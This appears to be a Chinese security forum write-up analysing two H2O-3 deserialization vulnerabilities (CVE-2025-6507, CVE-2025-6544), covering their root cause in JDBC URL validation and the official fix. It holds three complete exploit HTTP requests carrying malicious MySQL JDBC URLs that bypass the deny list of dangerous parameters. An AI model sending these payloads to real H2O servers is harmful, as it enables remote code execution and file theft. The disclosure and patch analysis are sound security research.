找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3714

积分

0

好友

520

主题
发表于 16 小时前 | 查看: 0| 回复: 0

CVE-2025-6507 H2O-3 反序列化漏洞详情
CVE-2025-6544 H2O-3 反序列化漏洞详情

近期,H2O-3 机器学习平台被披露存在两个严重的反序列化漏洞,编号分别为 CVE-2025-6507 和 CVE-2025-6544。这两个漏洞均源于对JDBC连接参数的安全校验机制存在缺陷,攻击者可构造特定的恶意参数绕过检查,从而可能导致任意文件读取或远程代码执行。本文将详细介绍漏洞的成因、复现过程及修复方案。

环境搭建

首先需要搭建受影响的 H2O-3 环境。可以从官方发布页面下载 3.46.0.7 版本:

https://h2o-release.s3.amazonaws.com/h2o/rel-3.46.0/7/index.html

H2O-3 官方下载页面

下载 MySQL 驱动 (https://repo1.maven.org/maven2/mysql/mysql-connector-java/8.0.12/mysql-connector-java-8.0.12.jar) 并放在同一目录下。正确的启动命令为:

# Windows
java -cp "mysql-connector-java-8.0.12.jar;h2o.jar" water.H2OApp

# Linux / Mac
java -cp mysql-connector-java-8.0.12.jar:h2o.jar water.H2OApp

#调试启动命令
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -cp "mysql-connector-java-8.0.12.jar;h2o.jar" water.H2OApp

启动成功后,访问 http://localhost:54321 就可以进入 H2O 的 Web 管理界面。

H2O Flow 界面

漏洞复现

MySQL 5.x 驱动只支持 Query String 格式(?key=value&key2=value2),且对 URL 解析较为严格。 MySQL 8.x 驱动引入了更灵活的 URL 解析机制,支持多种格式,并对参数解析有更宽松的处理,这正是漏洞利用的突破口。攻击者可以通过以下几种方式绕过 H2O 的安全校验:

  • Key-Value 格式绕过:Key-Value 格式是 MySQL 8.x 才引入的 URL 格式,采用括号包裹、逗号分隔的方式处理参数。H2O 的旧版正则只匹配 ?;& 后面的参数名,逗号不在匹配范围之内。
  • 空格绕过:在参数名前添加空格,绕过正则匹配。空格不是字母 [a-z],正则匹配失败。
  • 编码绕过:对参数名进行 URL 编码,使正则无法匹配出参数名。

下面我们分别展示这三种绕过手法的具体利用数据包。

Key-Value 格式

POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 191

{
  "connection_url": "jdbc:mysql://(host=127.0.0.1,port=59351, autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=deser_CB_calc)/test"
}

Key-Value 格式利用截图

空格绕过

POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 180

{
  "connection_url": "jdbc:mysql://127.0.0.1:59351/test? autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc"
}

空格绕过利用截图

编码绕过

POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 242

{
  "connection_url": "jdbc:mysql://127.0.0.1:59351/test?%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65=true&%71%75%65%72%79%49%6e%74%65%72%63%65%70%74%6f%72%73=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc"
}

编码绕过利用截图

漏洞分析

补丁链接:https://github.com/h2oai/h2o-3/commit/f714edd6b8429c7a7211b779b6ec108a95b7382d

漏洞的核心在于 water.jdbc.SQLManager#validateJdbcUrl 方法中使用的正则表达式过于宽松,无法有效拦截 MySQL 8.x 驱动支持的各种参数格式。我们首先看存在漏洞的代码。

SQLManager 类中的正则和黑名单定义

调用链从 water.jdbc.SQLManager#importSqlTable 开始。

importSqlTable 方法

进而调用 water.jdbc.SQLManager.SQLImportDriver#compute2

compute2 方法

最终会调用 water.jdbc.SQLManager#getConnectionSafewater.jdbc.SQLManager#validateJdbcUrl

getConnectionSafe 方法

validateJdbcUrl 方法(旧版)

问题的关键有两个部分:正则表达式和黑名单列表。

private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)[?;&]([a-z]+)=");
private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of(
// MySQL相关危险参数
"autoDeserialize",            // 允许反序列化
"queryInterceptors",          // 8.x版本拦截器
"allowLoadLocalInfile",       // 允许读取本地文件
"allowMultiQueries",          // 允许多语句执行
"allowLoadLocalInfileInPath",
"allowUrlInLocalInfile",
"allowPublicKeyRetrieval",
// H2数据库相关危险参数
"init",                  // 初始化时执行SQL/脚本
"script",               // 执行脚本 
"shutdown"// 关闭数据库
).map(String::toLowerCase).collect(Collectors.toList());

黑名单本身是完备的,包含了 autoDeserializequeryInterceptors 等危险参数。但正则 (?i)[?;&]([a-z]+)= 只匹配以 ?;& 开头,紧接着一个或多个小写字母,然后紧跟等号的模式。这导致了多种绕过:

  1. Key-Value 格式 ((host=127.0.0.1,port=59351,autoDeserialize=true,...)) 中的参数以逗号分隔,不符合 [?;&] 前缀要求。
  2. 空格绕过 (? autoDeserialize=) 中,空格不属于 [?;&],匹配失败。
  3. 编码绕过 (?%61%75%74%6f...=) 中,编码后的字符同样无法匹配 [?;&]

要理解这些绕过为何能成功,必须分析 MySQL Connector/J 驱动的 URL 解析逻辑。ConnectionUrlParser 是驱动中负责解析 URL 的核心类,它通过 parseConnectionString 方法提取各个部分。

parseConnectionString 方法

CONNECTION_STRING_PTRN = Pattern.compile(
"(?<scheme>[\\w:%]+)\\s*" +                    // 协议部分
"(?://(?<authority>[^/?#]*))?\\s*" +           // authority 部分(主机信息)
"(?:/(?!\\s*/)(?<path>[^?#]*))?" +             // path 部分(数据库名)
"(?:\\?(?!\\s*\\?)(?<query>[^#]*))?" +         // query 部分(参数)
"(?:\\s*#(?<fragment>.*))?"                    // fragment 部分(锚点,很少用)
);

正则表达式测试:解析JDBC URL
正则表达式测试:解析JDBC URL

关键在于,空格会被包含在 query 字段中被成功匹配到。

JDBC URL 中的参数可以出现在两个位置,对应驱动内部两条不同的解析链路:

链路一:Authority 部分参数(对应 Key-Value 格式)
getHosts()parseAuthoritySection()parseAuthoritySegment() →  buildHostInfoResortingToKeyValueSyntaxParser() →  processKeyValuePattern()safeTrim()decode()

com.mysql.cj.conf.ConnectionUrlParser#parseAuthoritySegment 会尝试多种解析方式。

parseAuthoritySegment 方法

当遇到 (host=x,port=x,...) 格式时,会进入 buildHostInfoResortingToKeyValueSyntaxParser 方法处理,这是 Key-Value 格式绕过的入口。

buildHostInfoResortingToKeyValueSyntaxParser 方法

private static final Pattern KEY_VALUE_HOST_PTRN = Pattern.compile(regex: "[\\s]+(?<key>[\\w\\.|\\-\\s]*)(?:=(?<value>[^,]=*))?");

正则表达式测试:解析Key-Value格式参数

链路二:Query 部分参数(对应传统 ?key=value 格式)
getProperties() →  parseQuerySection()processKeyValuePattern()safeTrim()decode()

parseQuerySection 方法

private static final Pattern PROPERTIES_PTRN = Pattern.compile(regex: "[&\\s]*(?<key>[\\w\\/.\\-\\s]*)?(:=(?<value>[^&=]+))?" );

正则表达式测试:解析Query部分参数

核心解析与解码逻辑
无论哪条链路,最终都会调用 processKeyValuePattern 方法进行键值对解析,这是处理空格和编码的关键。

processKeyValuePattern 方法

该方法会调用 StringUtils.safeTrim 去除首尾空格,并调用 decode 方法进行 URL 解码。

decode 方法

MySQL 驱动的 decode() 是单次解码。这意味着,攻击者提交一次 URL 编码的参数(如 %61%75%74%6f...),在驱动侧会被解码还原为 autoDeserialize,但 H2O 的校验逻辑(旧版)在匹配时使用的是原始编码后的字符串,因此匹配失败。这就导致了编码绕过。但双重编码在这里行不通,因为驱动只解码一次,双重编码后的字符串解码一次后仍是编码状态,驱动无法识别。

修复方法

官方在后续版本中发布了修复补丁,主要从两方面加固了 validateJdbcUrl 方法。

private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*");
private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of(
// MySQL相关危险参数
"autoDeserialize",            // 允许反序列化
"queryInterceptors",          // 8.x版本拦截器
"allowLoadLocalInfile",       // 允许读取本地文件
"allowMultiQueries",          // 允许多语句执行
"allowLoadLocalInfileInPath",
"allowUrlInLocalInfile",
"allowPublicKeyRetrieval",
"init",
"script",
"shutdown"
).map(String::toLowerCase).collect(Collectors.toList());

validateJdbcUrl 方法(修复版)

修复空格绕过

正则表达式的改进是关键:

// 旧正则(3.46.0.5 - 有漏洞)
Pattern.compile("(?i)[?;&]([a-z]+)=")

// 新正则(3.46.0.8 - 已修复)
Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*")
部分 旧正则 新正则 说明
大小写 (?i) (?i) 忽略大小写,不变
前缀要求 [?;&] 删除 旧版要求参数前必须有分隔符
参数名 ([a-z]+) ([a-z0-9_]+) 新版支持数字和下划线
空格处理 \\s* 新版允许等号前后有空格
等号 = =\\s* 新版允许等号后有空格

新正则的匹配逻辑:

假设 Payload 为 jdbc:mysql://127.0.0.1/test?+autoDeserialize=true,URL解码后变为 jdbc:mysql://127.0.0.1/test? autoDeserialize=true+ 解码为空格)。

正则 (?i)([a-z0-9_]+)\\s*=\\s* 会在整个 test? autoDeserialize=true 字符串中扫描,寻找所有 参数名= 的模式。它会成功匹配到 autoDeserialize=,并捕获到 autoDeserialize

  • 旧思路:从分隔符开始匹配 → 容易被分隔符后的特殊字符(如空格、逗号)绕过。
    `[?;&]([a-z]+)=`
    必须紧跟分隔符
  • 新思路:直接匹配所有“参数名=”模式 → 不依赖分割符位置,从根本上解决了空格和 Key-Value 格式的绕过。
    `([a-z0-9_]+)\\s*=`
    匹配任意位置的参数名

修复编码绕过

修复方案是引入了循环解码机制,确保 URL 被完全解码后再进行校验。

try {
    for(int i = 0; i < 10; ++i) {
        previous = jdbcUrlDecode;
        jdbcUrlDecode = URLDecoder.decode(jdbcUrlDecode, "UTF-8");
        if (previous.equals(jdbcUrlDecode)) {
            break;
        }
    }
} catch (UnsupportedEncodingException var7) {
    throw new IllegalArgumentException("JDBC URL has wrong encoding");
}

if (!previous.equals(jdbcUrlDecode)) {
    throw new IllegalArgumentException("JDBC URL contains invalid characters");
}
条件 触发时机 结果
previous == jdbcUrlDecode 解码完成(通常1-5次内) break 跳出,继续检查
i >= 10previous ≠ jdbcUrlDecode 编码超过10层 抛异常,拒绝请求
i >= 10previous == jdbcUrlDecode 刚好10次解完 正常,继续检查

通过最多10次循环解码,直到解码后的字符串不再变化(即完全解码)。循环结束后,如果解码前后字符串仍不相等,说明存在超过10层的嵌套编码,直接拒绝请求。这样,无论攻击者使用单层还是多层编码,最终用于黑名单检查的都会是完全解码后的明文参数,从而封堵了编码绕过路径。

总结

CVE-2025-6507 和 CVE-2025-6544 暴露了 H2O-3 在第三方组件(MySQL Connector/J)集成时的安全校验缺陷。根本原因在于安全防护逻辑(正则匹配)与底层组件实际行为(URL解析)不同步。修复方案通过改进正则表达式(使其与驱动行为一致)和强制完全解码,有效解决了这一问题。对于仍在运行旧版本 H2O-3 的用户,唯一的根治方案是尽快将组件升级至 3.46.0.8 及以上版本

对于开发者和安全研究人员而言,此案例提醒我们,在集成外部库时,必须深入理解其内部解析逻辑,确保安全检查覆盖所有可能的输入格式,避免出现校验盲区。这类涉及 Java 应用与数据库驱动交互的反序列化漏洞在实战中并不少见,需要持续关注。


本文涉及的技术细节和漏洞分析仅用于安全研究与学习,请勿用于非法用途。更多技术讨论,欢迎访问 云栈社区




上一篇:DeepSeek mHC架构实测:150B tokens训练表明Identity约束优于Sinkhorn-Knopp
下一篇:DRAM短缺重构PC市场格局:2028年入门级PC消亡,H510主板价格看涨
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-3 20:19 , Processed in 1.451897 second(s), 46 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表